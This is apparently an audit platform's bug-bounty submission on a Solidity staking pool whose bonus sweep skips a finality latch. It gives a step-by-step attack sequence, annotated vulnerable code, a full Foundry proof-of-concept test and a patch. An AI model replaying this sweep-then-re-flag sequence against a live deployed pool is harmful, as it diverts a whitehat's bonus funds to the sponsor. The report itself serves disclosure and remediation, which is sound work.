FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

`sweepUnclaimedBonus` omits the `claimsStarted` finality latch, so a post-SURVIVED permissionless sweep followed by the moderator's good-faith-CORRUPTED re-flag strips the named whitehat of the entire bonus pool `B`

Author Revealed upon completion

Description

sweepUnclaimedBonus() is the only value-moving path in ConfidencePool that mutates a resolution snapshot input (totalBonus) without setting the claimsStarted finality latch that every sibling value-moving path sets. Because the moderator's pre-claim re-flag is permitted while claimsStarted is false, a sweep that zeroes totalBonus and then a good-faith-CORRUPTED re-flag re-snapshots the bounty basis from the now-empty bonus, under-entitling the whitehat by the whole B that already left the pool.

Attack, step by step:

  1. A staker stakes principal P; a contributor funds the bonus through contributeBonus, so totalBonus == B. The pool custodies P + B.

  2. The registry reaches terminal CORRUPTED while the pool never observed a risk window, so riskWindowStart == 0.

  3. The moderator calls flagOutcome(SURVIVED, ...) — a legitimate out-of-scope judgement. snapshotTotalBonus captures B; claimsStarted stays false.

  4. Any address calls sweepUnclaimedBonus(). Since riskWindowStart == 0, no staker is owed any bonus, so the whole B is unreserved and swept to recoveryAddress, totalBonus is zeroed, and claimsStarted is deliberately left unset.

  5. The moderator uses the still-open pre-claim window to correct the outcome to good-faith CORRUPTED, naming the whitehat. flagOutcome re-snapshots snapshotTotalBonus from the now-zero totalBonus, so bountyEntitlement == snapshotTotalStaked + 0 == P — short by B.

  6. The whitehat calls claimAttackerBounty() and receives only P. The bonus B is already at the recovery address, captured by the sponsor.

Root cause — sweepUnclaimedBonus() removes the accounted bonus but never latches finality:

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
...
// riskWindowStart == 0 => no staker is owed the bonus => the whole snapshotTotalBonus is sweepable
if (totalEligibleStake == 0 || riskWindowStart == 0) {
@> totalBonus -= amount <= totalBonus ? amount : totalBonus; // the entire accounted bonus B leaves the pool
}
@> // Intentionally does NOT set claimsStarted. // <-- ROOT CAUSE: the finality latch that every
@> // // other value-moving path sets is skipped here,
@> // // leaving the moderator re-flag window open.
stakeToken.safeTransfer(recoveryAddress, amount); // B is sent to the sponsor-controlled recovery
emit BonusSwept(msg.sender, recoveryAddress, amount);
}

Consumed by the subsequent re-flag in flagOutcome(), which re-snapshots the emptied bonus:

function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
@> if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet(); // passes: claimsStarted == false
...
@> snapshotTotalBonus = totalBonus; // re-snapshots ZERO after the sweep
corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0; // == P + 0 == P, short by B
}

Risk

Likelihood :

  1. When a pool holds a funded bonus B at resolution and the registry reaches terminal CORRUPTED while no risk window was ever observed (riskWindowStart == 0), the entire bonus becomes unreserved and sweepable.

  2. When the moderator flags the pool SURVIVED and any address calls the permissionless sweepUnclaimedBonus() before the moderator re-flags to good-faith CORRUPTED, the sweep zeroes totalBonus and leaves claimsStarted unset, so the re-flag re-snapshots the reduced basis.

  3. When zero eligible stakers remain alongside a funded bonus (totalEligibleStake == 0), no claimSurvived() call exists to latch claimsStarted first, so the forfeiture occurs unconditionally.

Impact :

  1. The moderator-named good-faith whitehat forfeits the entire bonus pool B — receiving P instead of P + B, or 0 instead of B in the zero-eligible-staker frame.

  2. The forfeited B is misrouted to and captured by the sponsor-controlled recovery address, which the sponsor can point at itself.

  3. The loss is unrecoverable: no external entrypoint returns B to the whitehat, and the pool clone is non-upgradeable.

  4. The protocol's core economic promise — the whole pool to a good-faith whitehat — is broken.

Proof Of Concept

The PoC is two Foundry tests over identical funding (P = 1000 ether, B = 500 ether), isolating the value delta:

  • test_control_directGoodFaithCorrupted_paysWholePool — the intended outcome. A pool taken straight to good-faith CORRUPTED pays the whitehat the whole pool P + B (1500 ether). This fixes what the whitehat is owed.

  • test_bug_sweepThenReflag_whitehatForfeitsEntireBonus_sponsorCaptures — the bug. Inserting the permissionless sweep between the SURVIVED flag and the CORRUPTED re-flag pays the whitehat only P (1000 ether); it asserts the realized loss equals the whole bonus B (500 ether) and that the 500 ether is captured by the sponsor.

Run:

forge test --match-path test/unit/RB001ImpactPoC.t.sol -vv

Expected output (both pass):

[PASS] test_bug_sweepThenReflag_whitehatForfeitsEntireBonus_sponsorCaptures()
BUG whitehat receives: 1000 ether (== P only)
BUG whitehat LOSS : 500 ether (== whole bonus B)
BUG sponsor captured : 500 ether (the whitehat's B)
[PASS] test_control_directGoodFaithCorrupted_paysWholePool()
CONTROL whitehat receives: 1500 ether (== P + B)
Full PoC — test/unit/RB001ImpactPoC.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract RB001ImpactPoCTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
uint256 internal constant P = 1000 ether; // staker principal
uint256 internal constant B = 500 ether; // bonus pool the whitehat is entitled to on good-faith CORRUPTED
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
address internal agreement;
address internal moderator = makeAddr("moderator");
address internal keeper = makeAddr("keeper"); // any permissionless caller of the sweep
address internal staker = makeAddr("staker");
address internal contributor = makeAddr("contributor"); // funds the bonus B
address internal whitehat = makeAddr("whitehat"); // moderator-named good-faith attacker, owed P + B
address internal sponsor = makeAddr("sponsor"); // controls recoveryAddress; captures the swept B
function setUp() public {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
agreementContract.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
}
function _newPool() internal returns (ConfidencePool p) {
ConfidencePool impl = new ConfidencePool();
p = ConfidencePool(Clones.clone(address(impl)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
p.initialize(
agreement, address(token), address(safeHarborRegistry), moderator, block.timestamp + 31 days, ONE, sponsor, address(this), scope
);
}
function _fund(ConfidencePool p) internal {
token.mint(staker, P);
vm.startPrank(staker);
token.approve(address(p), P);
p.stake(P);
vm.stopPrank();
token.mint(contributor, B);
vm.startPrank(contributor);
token.approve(address(p), B);
p.contributeBonus(B);
vm.stopPrank();
assertEq(p.totalBonus(), B, "bonus B funded");
assertEq(token.balanceOf(address(p)), P + B, "pool custodies P + B");
}
// CONTROL: a pool taken straight to good-faith CORRUPTED pays the whitehat the WHOLE pool P + B.
function test_control_directGoodFaithCorrupted_paysWholePool() public {
ConfidencePool p = _newPool();
_fund(p);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
p.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
assertEq(p.bountyEntitlement(), P + B, "control: entitlement is the WHOLE pool P + B");
vm.prank(whitehat);
p.claimAttackerBounty();
assertEq(token.balanceOf(whitehat), P + B, "control: whitehat correctly receives P + B");
console2.log("CONTROL whitehat receives:", token.balanceOf(whitehat) / 1e18, "ether (== P + B)");
}
// BUG: the permissionless sweep between SURVIVED and the CORRUPTED re-flag strips the whole bonus B.
function test_bug_sweepThenReflag_whitehatForfeitsEntireBonus_sponsorCaptures() public {
ConfidencePool p = _newPool();
_fund(p);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(p.riskWindowStart(), 0, "no risk window observed");
// 1) Moderator flags SURVIVED (documented out-of-scope judgement). claimsStarted stays false.
vm.prank(moderator);
p.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// 2) ANYONE sweeps the unreserved bonus. Whole B -> sponsor-controlled recovery; NO finality latch.
vm.prank(keeper);
p.sweepUnclaimedBonus();
assertEq(token.balanceOf(sponsor), B, "whole bonus B swept to sponsor-controlled recovery");
assertEq(p.totalBonus(), 0, "totalBonus zeroed");
assertEq(p.claimsStarted(), false, "re-flag window STILL OPEN (missing latch)");
// 3) Moderator's intended pre-claim correction to good-faith CORRUPTED. Re-snapshots ZERO bonus.
vm.prank(moderator);
p.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
assertEq(p.bountyEntitlement(), P, "bug: entitlement re-snapshotted SHORT by B (== P)");
// 4) Whitehat claims the full remaining entitlement — only P.
vm.prank(whitehat);
p.claimAttackerBounty();
uint256 payout = token.balanceOf(whitehat);
uint256 loss = (P + B) - payout; // owed P + B (per control), received P
// --- REAL IMPACT, asserted concretely ---
assertEq(payout, P, "bug: whitehat receives only P");
assertEq(loss, B, "bug: whitehat's realized loss == the ENTIRE bonus pool B");
assertEq(token.balanceOf(sponsor), B, "bug: the forfeited B is captured by the sponsor, not the whitehat");
assertEq(token.balanceOf(address(p)), 0, "pool drained: P to whitehat, B to sponsor");
console2.log("BUG whitehat receives:", payout / 1e18, "ether (== P only)");
console2.log("BUG whitehat LOSS :", loss / 1e18, "ether (== whole bonus B)");
console2.log("BUG sponsor captured :", token.balanceOf(sponsor) / 1e18, "ether (the whitehat's B)");
}
}

Recommended Mitigation

Latch finality inside sweepUnclaimedBonus() whenever the sweep removes accounted bonus, mirroring every other value-moving path. Guard the latch on bonusRemoved != 0 so a pure-donation/dust sweep still does not latch — preserving the developer's defense against a 1-wei donation being used to slam the re-flag window shut.

if (totalEligibleStake == 0 || riskWindowStart == 0) {
- totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ uint256 bonusRemoved = amount <= totalBonus ? amount : totalBonus;
+ totalBonus -= bonusRemoved;
+ // Accounted bonus just left the pool to recoveryAddress. Latch finality so a later
+ // good-faith-CORRUPTED re-flag cannot re-snapshot a smaller bonus basis than
+ // participants observed pre-sweep. A pure-donation sweep (bonusRemoved == 0) does NOT
+ // latch, preserving the 1-wei-donation re-flag-grief defense.
+ if (bonusRemoved != 0 && !claimsStarted) claimsStarted = true;
}

With the fix, the sweep removes B > 0 in both frames, so claimsStarted is set. The subsequent good-faith-CORRUPTED re-flag then hits outcome != UNRESOLVED && claimsStarted in flagOutcome and reverts OutcomeAlreadySet, so the reduced-basis re-snapshot never happens. Legitimate claim paths (claimSurvived/claimExpired) gate on outcome/hasClaimed rather than claimsStarted, so they are unaffected, and no external call or reentrancy window is added.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!